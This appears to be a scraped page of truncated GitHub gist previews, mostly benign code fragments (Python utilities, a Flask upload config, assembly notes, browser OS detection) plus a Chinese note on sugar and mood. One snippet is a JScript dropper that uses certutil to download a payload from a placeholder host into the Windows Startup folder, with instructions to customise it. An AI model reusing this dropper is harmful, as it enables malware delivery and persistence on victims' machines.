This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
text = """aaaa | |
aaaaaa kjjkj | |
aaaa kkk a""" | |
cmprssd = set() | |
cmprssd_lst = [] | |
for txt in text.split("\n"): | |
#set.union(cmprssd, set(txt.split())) | |
cmprssd.update(set(txt.split())) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/python | |
import os | |
import sys | |
import time | |
import thread | |
# author: ~/angeloped | |
stat = [] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
糖份進入身體之後,會刺激大腦釋放「血清素」(serotonin)以及「多巴胺」(dopamine),這兩種神經傳導物質會讓人「感覺良好」。這能解釋為何很多人一旦壓力大,就想吃甜的;吃了甜食,就覺得心情好多了。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function exploit(){ | |
var objShell = new ActiveXObject("WScript.shell"); | |
objShell.run("certutil.exe -urlcache -f http://master/yourpayload.exe C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe"); | |
} | |
exploit(); | |
// change 'http://master/yourpayload.exe' | |
// save it as anything.js |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/python | |
import os | |
import sys | |
import urllib | |
import requests | |
from bs4 import BeautifulSoup | |
# A simple Tor-wrapped (onion) .pdf web extractor written in Python. Works on Python 2 and Python 3. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
from flask import Flask, flash, request, redirect, url_for | |
from werkzeug.utils import secure_filename | |
if not os.path.exists("uploads/"): | |
os.mkdir("uploads") | |
UPLOAD_FOLDER = 'uploads/' | |
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#import section | |
from matplotlib import pylab | |
import pylab as plt | |
import numpy as np | |
#sigmoid = lambda x: 1 / (1 + np.exp(-x)) | |
def sigmoid(x): | |
return (1 / (1 + np.exp(-x))) | |
mySamples = [] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import magic | |
def getmime(filename=None): | |
return magic.Magic(mime=True).from_file(filename) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; A minimal Mach-o x64 executable for OS X (also see below Mountain Lion version) | |
; | |
; $ nasm -f bin -o tiny_hello tiny_hello.s | |
; $ chmod +x tiny_hello | |
; $ ./tiny_hello | |
; Hello World! | |
; $ | |
; c.f. | |
; http://osxbook.com/blog/2009/03/15/crafting-a-tiny-mach-o-executable/ ( the original tiny mach-o executable ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This script sets OSName variable as follows: | |
// "Windows" for all versions of Windows | |
// "MacOS" for all versions of Macintosh OS | |
// "Linux" for all versions of Linux | |
// "UNIX" for all other UNIX flavors | |
// "Unknown OS" indicates failure to detect the OS | |
var OSName="Unknown OS"; | |
if (navigator.appVersion.indexOf("Win")!=-1) OSName="Windows"; | |
if (navigator.appVersion.indexOf("Mac")!=-1) OSName="MacOS"; |